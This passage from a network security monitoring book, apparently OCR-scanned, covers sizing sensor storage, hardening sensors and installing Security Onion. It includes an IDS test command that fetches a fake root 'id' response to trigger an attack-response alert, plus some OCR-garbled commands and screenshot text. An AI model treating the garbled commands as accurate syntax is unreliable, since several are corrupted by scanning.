other logs in text format. In later chapters, we’ll take a closer look at the
types of data stored on NSM platforms.
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To roughly estimate full content data storage requirements, use this
formula:

Hard drive storage for one day = Average network utilization in
Mbps x 1 byte/8 bits x 60 seconds/minute x 60 minutes/hour x
24 hours/day

For example, say your network’s average utilization of a 1Gbps link is
100Mbps. Here’s how to use the formula:

100Mbps x 1 byte/8 bits x 60 seconds/minute x 60 minutes/hour x
24 hours/day = 1,080,000MB per day or 1.08TB per day

1.08TB per day is also 12.5MB per second, or 750MB per minute, or
45GB per hour.

Next, decide how many days of traffic you want to store. If you want to
store 30 days of full content data, at 1.08TB per day, you will need 32.4TB
per 30 days.

Beyond storing full content data, we should estimate the hard drive
space used by databases. Experience has shown that we can estimate data-
base storage requirements at one-tenth that of the full content data storage
needs. That means if we’re going to store, say, about 33TB of full content
data, we should allocate another 3.3TB for database needs.

The third form of data, text files, will use about one-twentieth of the
full content data number. In our case, that’s about 1.6TB of space.

All told, if we want to store 30 days’ worth of NSM data for a network
averaging 100Mbps, it’s safe to allocate about 38TB of hard drive space.

Ten NSM Platform Management Recommendations

Finally, here’s a brief look at managing the NSM platform. The following
10 recommendations will help protect your NSM data.

1. Limit command shell access to the system to only those administrators
who truly need it. Analysts should log in to the sensor directly only in
an emergency. Instead, they should access it through tools that allow
them to issue commands or retrieve data from the sensor.

2. Administrators should never share the root account, and should never
log in to sensors as the root account. If possible, access the sensor using
shared keys, or use a two-factor or two-step authentication system like
Google Authenticator.

3. Always administer the sensor over a secure communications channel
like OpenSSH.

4. Do not centrally administer the sensor’s accounts using the same system
that manages normal IT or user assets.

5. Always equip production sensors with remote-access cards.

6. Assume the sensor is responsible for defending itself. Limit the expo-
sure of services on the sensor, and keep all services up-to-date.
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7. Exportlogs from the sensor to another platform so that its status can
be remotely monitored and assessed.

8. If possible, put the sensor’s management interface on a private network
reserved for management only.

9. If possible, use full disk encryption to protect data on the sensor when
it is shut down.

10. Create and implement a plan to keep the sensor software up-to-date.
Treat the system like an appliance, but maintain it as a defensible
platform.

These 10 principles will reduce the likelihood that the sensor will be
compromised, but even NSM platforms can fall prey to intruders. Monitor
sensors as if they were servers in your environment, and keep a watchful eye
for activity outside their normal patterns.

Conclusion

In this chapter, we dove into the intricacies of selecting appropriate visibility
locations, given a simple network operated by Vivian’s Pets. Although this
network will never exactly match production networks, it’s similar enough
to demonstrate some real-world challenges.

When instrumenting your own network, it’s crucial to determine what
you can see at various locations. Can you observe the true source and desti-
nation IP addresses? In many networks, it’s just not possible to find a single
location where both pieces of information can be obtained. Instead, you
need to find multiple locations and deploy sensors at each.

We discussed ways to get access to network traffic using network taps,
which represent a real commitment to instrumenting the network. By build-
ing visibility in, you make network knowledge part of the fabric of the IT
department.

We also explored ways to think about sizing an NSM platform. A rough
pilot gives you the experience you need to decide how to size your produc-
tion equipment. The final section presented some basic sensor self-defense
principles.

In Chapter 3, we’ll deploy NSM software on a sample server, in prepara-
tion for finding intruders on the network.
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SECURITY ONION DEPLOYMENT
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STAND-ALONE NSM

l;

DEPLOYMENT AND INSTALLATION
\J ‘;f | At this point, you have selected deployment
\W locations, network access technologies, and
A= server hardware for your NSM platform (s).
This chapter demonstrates how to install the
open source Security Onion (SO) NSM suite from
Doug Burks (http://securityonion.blogspot.com/) to begin
collecting and interpreting network traffic. SO is so
incredibly easy to deploy and operate that I use it
myself, rather than building my own platforms.

This chapter focuses on installing SO in its simplest configuration: as a
stand-alone platform. When you finish this chapter, you will have an NSM
appliance ready to provide your CIRT with the network-centric data it needs
to detect and respond to intrusions.
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As a preview for the rest of this part of the book, Chapter 4 explains how
to install SO in a distributed configuration, with separate server and sensor
components. Chapter 5 discusses housekeeping functions for stand-alone
and distributed setups. In Chapters 6 and 7, we’ll try out some of the packet
analysis tools that come bundled with SO, and in Chapter 8 we’ll learn how
to use several of the NSM consoles available in SO.

Stand-alone or Server Plus Sensors?

Chapter 3

SO supports two deployment modes:

Stand-alone mode In this mode, SO is a self-contained, single-box
solution that collects and presents data to analysts.

Server-plus-sensors mode In this mode, SO acts as a distributed plat-
form, with sensors collecting data and a server aggregating and present-
ing data to analysts.

To choose the appropriate mode, you need to decide how extensive you
expect your NSM needs to become. Each mode offers certain benefits and
drawbacks, but I recommend that anyone new to NSM start with a stand-
alone deployment. Using a single system enables you to learn more about
the NSM datatypes and how to apply them to your CIRT’s workflow. After
becoming comfortable with a stand-alone deployment, consider upgrading
to the server-plus-sensors arrangement explained in Chapter 4.

Figure 3-1 shows the stand-alone configuration with a client (such as an
analyst) accessing a stand-alone SO platform. The stand-alone SO platform
performs all of the functions necessary to perform NSM, on one box.

Client Stand-alone

<
Users access NSM data NSM platform monitors and
via client software. reports traffic independently.

Figure 3-1: Stand-alone SO deployment

The stand-alone option is a good choice for security staff with fairly
simple NSM requirements. For example, they might need to watch only a
single segment, or several segments using a single sensor.

Figure 3-2 illustrates how a stand-alone NSM platform could watch traf-
fic atlocations G, B, and H, as labeled in the figure. The dashed lines show
network connectivity from the network taps at locations G, B, and H to the
listening network interface cards (NICs) on the NSM platform. The solid
line shows network connectivity from the internal network switch to the
management NIC of the NSM platform. The listening NICs passively watch
network traffic, while the management NIC permits remote access to the
NSM platform.
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Figure 3-2: Stand-alone SO platform watches network locations G, B, and H.

Figure 3-3 depicts another alternative: server-plus-sensors deployment.
This option is suitable for larger and more complicated network require-
ments. Basically, the stand-alone option consolidates all collection, interpre-
tation, and reporting duties on a single server, and the server-plus-sensors
option distributes these duties.

Client Server

Users access NSM data NSM sensors collect and
via client software. interpret traffic and send
data to a central server.

/TN
0E00

Sensor Sensor Sensor Sensor

Figure 3-3: Server-plus-sensors SO deployment
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The server-plus-sensors configuration is the deployment model of
choice for any CIRT with multiple networks to monitor, especially in the
case of geographically separate networks. CIRTs could choose to deploy a
stand-alone SO system at geographically disparate locations, but the result
would be that no single set of consoles or databases would provide the ana-
lyst with a unified view. By using the server-plus-sensors option, the CIRT
can enjoy access to multiple networks from a single location.

Let’s return to our simple network diagram. This time, we assign three
dedicated sensors, one for location G, one for B, and one for H, and coordi-
nate their work using a central server, as shown in Figure 3-4.

Wireless
Network

Internal
Network

Server collects data
from sensors watching

G, B, H.

Figure 3-4: The SO server collects data from sensors watching network locations G, B,
and H.

In the server-plus-sensors mode, the sensors do not need to reside
within the local network; they can be deployed globally as long as they can
connect back to the central server via the network. Some organizations
enable this with a VPN, while others deploy the management interfaces for
each system (server and sensors) on public networks to make them univer-
sally reachable. Ask your network and security administrators to determine
the choice that best meets their requirements.
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Choosing How to Get SO Code onto Hardware

After deciding on the SO model, you can choose how to install SO code
onto hardware. As of this writing, SO supports two ways to get SO code
onto hardware:

e The easiest method is to download an .iso file suitable for burn-
ing to DVD or flashing to a 2GB or larger capacity USB thumb
drive. If you prefer a USB-based installation, try a program
like the Universal USB Installer (http://www.pendrivelinux.com/
universal-usb-installer-easy-as-1-2-3/).

e The other method uses the Ubuntu Personal Package Archives (PPA)
for the SO project. Using these PPAs, administrators can install SO
on Ubuntu Linux (Attp://www.ubuntu.com/) and its derivatives, such as
Xubuntu (http://xubuntu.com/).

The SO .iso is built on a 64-bit version of Xubuntu 12.04, derived from
the Ubuntu 12.04 Long Term Support (LTS) release, called Precise Pangolin.
The Ubuntu project will support 12.04 until April 2017, making it suitable
for sensor and hardware platforms like SO.

If you're a Windows administrator, using SO is a good way to gain exposure to Linux.
The SO project makes installing and using Linux very easy. In fact, making life
simple for Windows administrators was one of its design goals.

The examples that follow demonstrate how to install both SO con-
figurations. I recommend trying the stand-alone installation in a virtual
machine such as VMware Workstation, but other virtualization software
should work. You can also try SO on spare hardware, but remember the
functional specifications recommended in Chapter 2. Available RAM is
probably the most important. With less than 4GB of RAM, a stand-alone
SO installation watching no more than a single monitored interface will
be slower than some might like.

From this point forward, I assume you have downloaded the SO .iso file
and are ready to install it. You checked its MD5 hash against the value pub-
lished at the download location to validate the integrity of the file. If you plan
to deploy SO on physical hardware, you burned it to a DVD or flashed it to a
USB drive. If you plan to try it on a VM, you have the .iso file on the system
running the virtualization software. In either case, the hardware (physical
or virtual) has at least two NICs (one for management and one for captur-
ing traffic), at least 4GB RAM, and at least a 40GB hard drive. Let’s begin!

Installing a Stand-alone System

The general process for installing any type of SO system involves these steps:
1. Select a monitoring location.

2. Select hardware.
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Boot the hardware with installation media.
Deploy the installation media on the hardware.

Configure networking.

S

Install and configure the appropriate SO settings.

We will follow this basic procedure in each of the examples. The steps
will vary according to the function of the hardware, the installation media
you chose, and the role of the SO software on the NSM platform.

Installing SO to a Hard Drive

To begin installing SO as a stand-alone system, boot the SO .iso file. You
will see a boot menu with the default option to start SO as a live system, as
shown in Figure 3-5. This means that the SO system will be running like a
“live CD,” allowing you to try SO as a stand-alone system without needing to
do any work whatsoever.
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Figure 3-5: SO boot screen

If you press ENTER to select the first option, or wait seven seconds, SO
will boot to a graphical user interface (GUI), as shown in Figure 3-6, and the
system will try to obtain an IP address via the Dynamic Host Configuration
Protocol (DHCP). At this point, I suggest proceeding to installation.

To begin installation, choose the Install Secu... icon, which points to
the Install Security Onion option that will install Xubuntu Linux on the
server. At the first screen, choose your preferred language. I select English
and click Continue. The next screen asks me to verify that I have enough
free hard drive space to continue, and that the system is connected to the
Internet, as shown in Figure 3-7. I can also choose the Download updates
while installing or Install this third-party software option. I recommend
selecting both options. If your system is not connected to the Internet, do
not choose either option.
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Figure 3-6: SO screen after boot

b Install - X

Preparing to install SecurityOnion

& has at least 6.8 GB available drive space

J is connected to the Internet

Figure 3-7: Validating space, connectivity, updates, and third-party software
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The next screen warns that installing SO will “delete any files on the
disk.” This is acceptable, so I select Erase disk and install SecurityOnion,
as shown in Figure 3-8.

- Install - X

Installation type

This computer currently has no detected operating systems. What would you like to do?

Erase disk and install SecurityOnion
® Warning: This will delete any files on the disk.

Something else
':.‘-' You can create or resize partitions yourself, or choose
multiple partitions for SecurityOnion.

| Bouit || GiBack | | continve |

Figure 3-8: Choosing to erase the disk to install SO

Now it’s time to choose the drive where you will install SO. This varies
from system to system. In my example, I have just one drive, so I accept
the default and choose Continue. The next screen begins the installation
process and asks for my location via a “Where are you?” question and map.
Select any location at this point; once it’s installed, SO will set Universal
Coordinated Time (UTC) as the time zone for the platform and override
this choice. Choosing a keyboard layout comes next. Just select the best
option for your system.

Next, you select a username, computer name, and password, as shown
in Figure 3-9. You can also choose to encrypt your home folder, but I don’t
bother, because SO’s most important data is saved in the /nsm and /var
directories, which means that encrypting /home/<username> won’t make
much difference. Don’t select Log In Automatically, or the system will be
open to anyone after boot, without the need for a username and password.

Now the system should continue to install software to the hard drive. If
youre connected to the Internet, and you selected the appropriate option, it
should also download updates and packages. When finished, the process will
report “Installation Complete. Click Restart Now to reboot the computer.”

Once the system reboots, it will show a login prompt, as in Figure 3-10.
Enter the username and password you selected earlier.
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> Install =

Who are you?

Your name: [sademo | o

Your computer's name: [sademo ] J

The name it uses when it talks to other computers.

Pick a username: |sademo o
Choose a password: (eesssssse Good password

Confirm your password: &
(") Log in automatically
(*) Require my password to log in
[ Encrypt my home folder

| <mBack || continue |

Figure 3-9: Answering “Who are you2”

O

sademo

login: |sademo

Xubuntu Session = » Cancel Login

Figure 3-10: Login screen after reboot

After logging in, you should see a screen just like the GUI presented
after the live system booted, except now you have Xubuntu installed on
your hard drive. You should update Xubuntu and applications before pro-
ceeding to the SO setup.
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If yow’re not familiar with Linux, it’s important to understand that you can interact
with the system via a GUI or by entering commands in a terminal application. A
terminal is a way to instruct the operating system to execute commands and applica-
tions. Frequently, we will prepend the sudo command in order to elevate our privi-
leges. Using sudo is the preferred way to act as the all-powerful “root” user on Linux
distributions like Ubuntu or Xubuntu. When prompted for a password, enter the
password with which you logged in. You don’t enter a root password.

Let’s update this Linux installation by running the following commands
at a terminal:

$ sudo apt-get update && sudo apt-get dist-upgrade

Type your password when prompted and press ENTER.

Xubuntu will proceed to update. It will ask you if you want to install
and update software, with something like “After this operation, XXXXMB of
additional disk space will be used. Do you want to continue [Y/n]?” like this:

-- snip --

116 upgraded, 4 newly installed, 0 to remove and 0 not upgraded.
Need to get 56.8 MB/287 MB of archives.

After this operation, 203 MB of additional disk space will be used.
Do you want to continue [Y/n]?

Type Y and press ENTER to approve and continue. Xubuntu should pro-
ceed to update itself and its installed applications. You will most likely be
asked to reboot the system when the installation is complete. Use the com-
mand sudo reboot to accomplish that task.

Configuring SO Software

The operating system and applications are up-to-date, so now we begin con-
figuring the SO software itself. After rebooting, log in to the desktop and
click the Setup icon to begin that process.

Enter the password you used to log in, and you will see a screen wel-
coming you to Security Onion Setup, as shown in Figure 3-11. Choose Yes,
Continue!.

=y

Security Onion Setup!(sovm)

@ Welcome to Security Onion Setup!
This program will allow you to configure Security Onion on sovm.

Would you like to continue?
| @noquit. | [

Figure 3-11: Starting Security Onion setup
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WHAT IS THE DIFFERENCE BETWEEN
UPGRADE AND DIST-UPGRADE?

When updating SO, you use the Advanced Package Tool (APT) to choose
which software to upgrade. APT is the preferred way to install, remove, and
update applications on Linux systems derived from the Debian distribution, such
as Ubuntu or Xubuntu. If you run an upgrade, you will get one set of options.
Choosing a dist-upgrade will produce another set of options.

The following example shows running upgrade on a live SO platform. Note
that once you've entered a password when prompted by sudo, you won't need
to enter it again for a while. Linux keeps a timer that counts time elapsed since
privilege escalation, making it easier for administrators to do their work.

$ sudo apt-get upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages have been kept back:
linux-generic linux-headers-generic linux-image-generic
The following packages will be upgraded:
firefox firefox-globalmenu firefox-gnome-support firefox-locale-en
libpurple-bin libpurpleo libruby1.9.1 libssl-dev libssl-doc
1ibss11.0.0 linux-libc-dev openssl pidgin pidgin-data
ruby1.9.1 transmission-common transmission-gtk
17 upgraded, 0 newly installed, 0 to remove and 3 not upgraded.
Need to get 38.0 MB of archives.
After this operation, 198 kB of additional disk space will be used.
Do you want to continue [Y/n]?

Now see the difference when we run dist-upgrade:

$ sudo apt-get dist-upgrade

Reading package lists... Done

Building dependency tree

Reading state information... Done

Calculating upgrade... Done

The following NEW packages will be installed:
linux-headers-3.2.0-38 linux-headers-3.2.0-38-generic
linux-image-3.2.0-38-generic

The following packages will be upgraded:
firefox firefox-globalmenu firefox-gnome-support firefox-locale-en
libpurple-bin libpurpleo libruby1.9.1 libssl-dev 1libssl-doc
libss11.0.0 linux-generic linux-headers-generic linux-image-generic
linux-libc-dev openssl pidgin pidgin-data ruby1.9.1 transmission-common
transmission-gtk

20 upgraded, 3 newly installed, 0 to remove and 0 not upgraded.

Need to get 89.2 MB of archives.

After this operation, 217 MB of additional disk space will be used.

(continued)
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In the first example, updates to the kernel were going to be “kept back.”
APT was not going to install those parts of the operating system unless explic-
itly told to do so. In the second example, apt will update the kernel as well as
userland packages. This is the primary difference of note to SO users. The SO
project recommends running dist-upgrade when updating SO platforms.

Now to configure network interfaces. This is an important step because
the SO team has performed various tests to determine the optimum settings
for collecting and interpreting network traffic, including disabling NIC
offload features that can confuse some NSM software. Select Yes, configure
/etc/network/interfaces! to continue, as shown in Figure 3-12.

= Security Onion Setup (sademo) + X
@ Would you like to configure fetc/network/interfaces now?

This is HIGHLY recommended as it will automatically optimize your network interfaces.
This includes disabling any NIC offload features which may interfere with traffic analysis.
For more information, please see:
http://securityonion.blogspot.com/2011/10/when-is-full-packet-capture-not-full. html

If you choose NO, you should manually configure your management and monitored interfaces
per the instructions on the Security Onion Wiki located at:
http:/fcode.google.com/p/security-onion/wiki/NetworkConfiguration

| @No, not right now. | [ {mt_conﬁ_gme fetc/network/interfaces! J

4

Figure 3-12: Choosing to configure network interfaces

Choosing the Management Interface

On the next screen, choose the network interface for the management
interface. Select the NIC that you plan to access remotely, which is tradition-
ally the first NIC in your system. I plan to administer my demo stand-alone
system using etho and to sniff traffic with eth1, so I select eth0 and click OK,
as shown in Figure 3-13. (Your selected interface will be highlighted in blue
when selected, as shown below.)

. Security Onion Setup (sademo) + X

Which netwark interface should be the g interface?

eth1

QCancelH /0K |

4

Figure 3-13: Selecting the management interface
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Now decide if you want the management interface to receive an IP
address via DHCP or whether to assign it a static IP address. You can choose
either for testing purposes (DHCP is probably simpler), but in a produc-
tion system, you should assign a static IP address unless you have a static
mapping configured in DHCP. I choose to assign a static IP for the man-
agement interface, a netmask, a gateway, a DNS server, and a local domain
name according to the specifics of my test network (not shown here).

Next select the interface for SO to use to collect and interpret traffic,
as shown in Figure 3-14. SO can sniff more than one interface, but I rec-
ommend one SO system per monitored interface for beginners.

N Security Onion Setup (sademo) + X

Please select any additional interfaces that will be used for sniffing.
ath1

6[3 ncel ;//‘ 0; :

A

Figure 3-14: Selecting the sniffing interfaces

Network setup is almost complete. SO will summarize your settings, and
then ask whether to make the changes, as shown in Figure 3-15. Select Yes,
configure /etc/network/interfaces! to continue, as shown in Figure 3-12. If
you’re happy with the settings, click Yes, make changes and reboot!.

= Security Onion Setup (sademo) + X

We're about to do the following:
@ -Backup existing network configuration to /etc/network/interfaces.bak
- Configure the management interface eth0 as follows:
Set static IP address of 192.168.2.127
Set the gateway IP address to 192.168.2.1
Set the network mask to 255.255.255.0
Set the DNS server(s) to 172.16.2.1
Set the DNS domain to taosecurity.com
- Configure the following interface(s) for sniffing:
eth1
-REBOOT

After rebooting, you'll need to run Setup again to complete the Setup process.
We're about to make changes to your system!

Would you like to continue?

eNo, do not make changes! | l J\'es. make changes and reboot! ]

Figure 3-15: Ready to make network changes
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Installing the NSM Software Components

When the system reboots, you should be back at the login screen. Enter
your credentials, and we’ll install the various NSM software components
for a stand-alone system. Chapter 4 shows how to install a distributed setup,
with a server plus sensors.

To begin, click the Setup icon, enter your password, and choose Yes,
Continue! at the Welcome to Security Onion Setup! screen. Next, choose
Yes, skip network configuration!, as shown in Figure 3-16.

ot Security Onion Setup (sademo) + X
6 It looks like fetc/network/interfaces has already been configured by this script.

Would you like to skip network configuration?

@NO_I need to re-configure fetdnetwor.kfimerfaces. | [ J‘fes_, skip network m_nﬁ_gural:_iqr_l! ]

Figure 3-16: Skipping network configuration

To simplify setup for this first example, choose the Quick Setup option,
as shown in Figure 3-17. This will have the server running SO as a stand-
alone system with minimum configuration.

e Security Onion Setup (sademo) + X
6 Would you like to use Quick Setup or Advanced Setup?

Quick Setup is recommended for first-time users or standalone VMs:
- ideal for quickly evaluating Security Onion

- will automatically configure most details of your system

- configures Snort and Bro to monitor one network interface

Advanced Setup is recommended for production deployments:

- gives you more control over the details of your system

- allows you to build a distributed sensor network

- you choose Sguil server, Sguil sensor, or both

- you choose which IDS engine to use (Snort or Suricata)

- you choose which IDS ruleset(s) to use (Emerging Threats, Snort VRT, or both)

-you choose which network interfaces should be monitored by the IDS Engine and Bro
-you choose how many processes to run for Snort/Suricata/Bro

| eAd\ranced Setup | |  of/Quick Setup
A

Figure 3-17- Choosing Quick Setup

You will need to tell SO the interface for some of its components to
monitor. As shown in Figure 3-18, I tell SO that I want Snort to sniff traffic
on ethi. (As part of Quick Setup, SO chooses to use the Snort network IDS
to generate alert data.)

Now provide a username for accessing the NSM software component
Sguil (covered in Chapter 8), as shown in Figure 3-19. SO will use this
username for several other NSM tools.
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w7 Security Onion Setup (sademo) + X

Which network interface should snort listen on?

— h_ — | What would you like your Sguil username to be?
etho

This will be used when logging into Sguil, Squert, and ELSA.

Please use alphanumeric characters only.

A Security Onion Setup (sademo) + X

[sademo] |

|6Cancel o OK . GCancel : @OK_

4

Figure 3-18: Telling SO where Snort Figure 3-19: Entering a Sguil username
should sniff

At the next screen, enter an email address for SO to use for logging
into the Snorby NSM console and authenticating users. (SO will not use
this email address to send spam to you! In fact, the SO project does not

track users in any way.) Snorby (also covered in Chapter 8) is a tool for pre-
senting NSM data to analysts, and it uses a separate authentication mecha-

nism based on email addresses.

Now you’ll choose an alphanumeric password for use in authenticat-
ing to NSM software installed with SO, as shown in Figure 3-20. (You can
change this password later through the Sguil and Snorby interfaces.)

o Security Onion Setup (sademo) + X
What would you like to set your password to?

Password must be at least 6 characters. Please use alphanumeric characters only!

This password will be used for Sguil, Squert, Snorby, and ELSA.

Once you've logged into these interfaces using this initial password, you can change it in Sguil and Snorby.

QCancel | J’OK .

Figure 3-20: Entering a password for SO NSM applications

After you create credentials for SO NSM applications, the configu-
ration script asks if you want to install the Enterprise Log Search and
Archive (ELSA) software, as shown in Figure 3-21. Choose Yes, enable
ELSA! unless you are working with very constrained hardware. ELSA
provides a search engine interface to NSM log data.

> Security Onion Setup (sademo) + X

ELSA (Enterprise Log Search and Archive) is a centralized syslog framework
6 built on Syslog-NG, MySQL, and Sphinx full-text search.

It provides a nice web-based interface to hunt through your logs.

Would you like to enable ELSA?

| @o, disable £LsA. | | of Yes, enable ELSA!

Figure 3-21: Choosing to enable ELSA
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SO should now summarize the changes it is about to make. If you like
the results, select Yes, proceed with the changes!, as shown in Figure 3-22.

We're about to do the following:
e -Set the OS timezone to UTC.
- Create a Sguil user named sademao.

ethil
- Run a single IDS process per interface.
- Run a single Bro process per interface.

Would you like to continue?

> Security Onion Setup (sademo)

- Delete any existing NSM data/configuration.
- Create a Sguil server named securityonion.

- Create a Snorby user named taosecurity@gmail.com.
- Configure Snort and Bro to monitor the following interface:

- Configure ELSA as both a Log Node and Web Node.

We're about to make changes to your system!

+ X

| eNu, do not make changes! | [ J‘&S. proceed with the dlang_esl J

4

Figure 3-22: SO is ready to proceed with changes.

Next, SO configures the system’s time zone to use UTC, and then sets
up all the NSM applications packaged with it. When finished, it should
report some helpful information about your system. You can check the sta-
tus of the setup in the /var/log/nsm/sosetup.log file, as shown in Figure 3-23.

Finally, you'll see information on IDS rule management, as shown in

Figure 3-24.

Security Onion Setup (sademo) +

Security Onion Setup is now complete!

Setup log can be found here:
Narllog/nsm/sosetup.log

You may view IDS alerts using Sguil, Squert, Snorby, or ELSA (if enabled).

Bro logs can be found in ELSA (if enabled) and the following location:
fnsm/bro/

% Security Onion Setup (sademo) + X

Rules downloaded by Pulledpork are stored in:
0 fetc/nsm/rules/downloaded.rules

Local rules can be added to:
fetc/nsm/rules/local.rules

You can have PulledPork modify the downloaded rules
by modifying the files in:
fete/msm/pulledporks

Rules will be updated every day at 7:01 AM UTC.
You can manually update them by running:
fusr/bin/rule-update

Sensors can be tuned by modifying the files in:
fetc/nsm/NAME-OF-SENSOR/

o OK

Figure 3-23: SO setup is now complete.

70

Checking Your Installation

Figure 3-24: Notes concerning IDS rule
management

Once you've finished installing your stand-alone system, you should take
some steps to make sure that it’s functioning as expected.

Chapter 3
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First, open a terminal and run the following command to see if all the
NSM agents are live. Remember that you run a terminal by executing the
Terminal application on the desktop.

$ sudo service nsm status
[sudo] password for sademo:
Status: securityonion

* sguil server [ 0K ]
Status: HIDS

* ossec_agent (sguil) [ oK ]
Status: Bro
Name Type Host Status Pid Peers Started
bro standalone localhost running 5813 0 10 Feb 11:10:32

Status: sademo-ethi

* netsniff-ng (full packet data) [ oK ]
* pcap_agent (sguil) [ oK ]
* snort_agent-1 (sguil) [ oK ]
* snort-1 (alert data) [ oK ]
* parnyard2-1 (spooler, unified2 format) [ oK ]
* prads (sessions/assets) [ ok ]
* sancp_agent (sguil) [ oK ]
* pads_agent (sguil) [ ok ]
* argus [ 0K ]
* http_agent (sguil) [ oK ]

Now, in the same window, run the following command to generate
activity that will trigger a Snort alert. 'm assuming that your sensor can see
traffic to and from the stand-alone system’s management port. If not, run
this command from a system monitored by the new sensor, or visit the URL
with a web browser on a system monitored by the new sensor.

$ curl www.testmyids.com
uid=0(root) gid=0(root) groups=0(root)

To determine if at least part of your NSM setup is working, visit the
Snorby NSM application using a web browser. Point your web browser to
the IP address of your stand-alone sensor that you assigned earlier. You will
receive an error saying the certificate for HTTPS is not trusted because
it is not signed, as shown in Figure 3-25. Unless you suspect that an inter-
nal user is conducting a man-in-the-middle attack against you, it is safe to
choose Proceed Anyway or the equivalent. (If you later choose to deploy a
certificate trusted by the browser, you will not see these warnings.)

You will now see the SO welcome page, as shown in Figure 3-26, with
links to SO applications accessible via the web servers running on the SO
system. Click the link for Snorby to determine if it captured data triggered
by visiting http://www.testmyids.com/.

Stand-alone NSM Deployment and Installation 71

www.it-ebooks.info


http://www.it-ebooks.info/

72

Chapter 3

A The site's security certificate is

not trusted!

You attempted to reach 192.168.2.127, but the server
presented a certificate issued by an entity that is not trusted by
your computer's operating system. This may mean that the
server has generated its own security credentials, which Google
Chrome cannot rely on for identity information, or an attacker
may be trying to intercept your communications.

You should not proceed, especially if you have never seen this
warning before for this site.

lP‘loceedalyway] [Backtos&ety]

P Help me understand

Figure 3-25: Certificate warning

Figure 3-26: SO welcome page

Clicking the Snorby link should open a new tab or window to your SO
IP address and port 444. Snorby should ask for the email address and pass-
word you chose during setup, as shown in Figure 3-27. Enter them and click
Welcome, Sign In.
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SnorbY B

Please log in to continue...

Email

taosecurty@gmail.com

Password

Welcome, Sign In Forgot Password? [¥] Remember me

Figure 3-27: Snorby login screen

Depending on where you deployed your sensor and the amount of
traffic active on the network, you will see different amounts of infor-
mation on the initial dashboard. We’re interested in seeing two specific
alerts at the right side of the screen: either ET Policy curl User-Agent or GPL
ATTACK_RESPONSE id ch. If you see either or both (as shown in Figure 3-28),
your sensor is seeing traffic and at least one NSM application (in this case,
Snort) observed and reported it correctly.

Dashboard 1 wowe Optinns

LAST 24 TODAY YESTEHDAY THISWEER THISMONTH THIS QUARTER THIS YEAR 108 & SENSOR

3 2 0 10 5 ACTVE USERS
B Acnisbater
HGH SEVERTY MEDRM SEVERTY LW SEVERTY

I I LAST 5 UNIGUE EVENTS

Sensors

Event Count vs Time By Sensar & sadema-gth] | 2P ATTACK_RESPONSE 18 sh

ANALYST CLASSHIED EVENTS

Figure 3-28: Snorby dashboard confirms stand-alone sensor operation.
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Conclusion

Chapter 3

In this chapter, we created a stand-alone SO platform. We booted the SO
.iso file and installed the Xubuntu Linux distribution to a hard drive. Next,
we updated the operating system and began the process of installing the
SO software. We began by configuring the network interfaces, choosing
one for system management and the other for data collection or sniffing.
With the network interfaces prepared, we turned to configuring a variety
of SO tools via a helpful wizard process. Once all the software was installed
and configured, we viewed the Snorby console to ensure it could see at least
some data derived from the network.

In Chapter 4, we’ll advance from the world of the stand-alone platform
into one where distributed systems rule. Stand-alone platforms work well
for isolated deployments, but some of the power of the NSM model is appar-
ent only when analysts can interact with data from multiple vantage points.
Stand-alone platforms can sometimes watch more than one network seg-
ment if those segments are physically nearby. When monitored segments
are geographically dispersed, a distributed deployment works best to unify
collection and presentation of NSM data. Chapter 4 will show how to make
that a reality.
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DISTRIBUTED DEPLOYMENT

Chapter 3 discussed NSM platforms built
on the open source SO project, focusing on
how to install SO as a stand-alone platform.
Single-system solutions are a great starting point
for newcomers to the NSM world, but most organi-

zations have more than one network to manage and
monitor. Based on what you learned in Chapters 2 and 3, you may recognize
locations in your environment where you need multiple sensors cooperat-
ing to provide multisite visibility. Thankfully, as described in the previous
chapter, SO supports distributed deployment models (server-plus-sensor
platforms) to accommodate these requirements.

In addition to covering distributed SO deployments, this chapter also
explains how to use SO Personal Package Archives (PPA) to build SO plat-
forms without using the SO .iso image. Installing SO using the project’s offi-
cial .iso file is probably the easiest way to get started, but some organizations
prefer to begin with their own version of Ubuntu Linux. The SO project’s
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PPAs allow administrators to install SO packages on Ubuntu Linux-derived
systems. You can install your own version of Ubuntu Linux, add SO PPAs,
and then enjoy full SO functionality.

We’ll begin by building a distributed SO setup.

Installing an SO Server Using the SO .iso Image

Chapter 4

If you followed the instructions in Chapter 3, you now have a stand-alone
SO platform collecting and interpreting network traffic. More challenging
situations require a server-plus-sensors deployment.

As explained in Chapter 3, in a server-plus-sensors configuration, one
or more sensors collect NSM data, and a server acts as the central “brain”
for the operation, as well as an aggregation and storage point for certain
types of NSM data. This section describes how to install an SO server. After
setting up the server, we’ll install a sensor that will cooperate with the server
to collect and present NSM data.

SO Server Considerations

When considering an SO server, remember that the server will be the cen-
tral collection and storage point for certain types of NSM data. Keep the
following in mind:

e An SO server operates a central MySQL database to which all SO sensors
transmit session data. The aggregate session data is a key factor when
considering RAM and hard drive requirements for the SO server.

e An SO sensorstores network traffic as pcap files. The SO sensor stores
this data locally until it’s copied to the SO server. This locally stored
data is a key factor when considering hard drive requirements for the
SO sensor.

You also need to understand what data resides where and know how
many sensors will likely contribute data to the server. You will need the
following:

¢ Alotof hard drive space in a RAID configuration that you’ll use to
store session and associated NSM data

e Atleast 4GB of RAM, with more RAM available to satisfy MySQL’s needs
e A multicore CPU

e Atleast one network interface for management purposes

Because the server is not connected to network taps or SPAN ports, you
can think of it more as a traditional server system. Clients, like SO sensors
or CIRT analysts, will connect to the SO server to access data. The number
of clients accessing the server and the amount of centralized data you want
available to them are the primary factors to consider when designing an SO
Server.
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NOTE

Some CIRTs choose to separate functions on their central servers. For example, they
run separate database systems that cooperate with the central server. SO does not
support this sort of configuration out-of-the-box. Therefore, we leave that sort of
configuration out of this discussion. The configuration described here works well in
production for many CIRTS.

Building Your SO Server

To build your server, boot the SO .iso image, choose Live, and wait until you
see the SO desktop. Begin the installation process by clicking the Install
Security Onion 12.04 icon. Follow the configuration process explained in
“Installing SO to a Hard Drive” on page 62. In summary, you will perform
the following steps, as in the previous chapter:

Validate space, connectivity, updates, and third-party software.
Choose to erase the disk to install SO.
Choose a username, computer name, and password.

Complete installation and reboot the system.

Uk 0 o=

Update installed software using sudo apt-get update 88& sudo apt-get
dist-upgrade.

After completing this process, the SO software should be installed on
the server, but nothing is configured for NSM duties. This is the point at
which we turn the system into a live SO server.

The first task is to manually assign a static IP address to the system. To
do so, follow these steps:

1. Click the blue-and-white mouse icon at the upper-left side of the screen,
select Settings, and then choose Network Connections, as shown in
Figure 4-1.

v

i Security Onion

B3 settings ER settings Manager

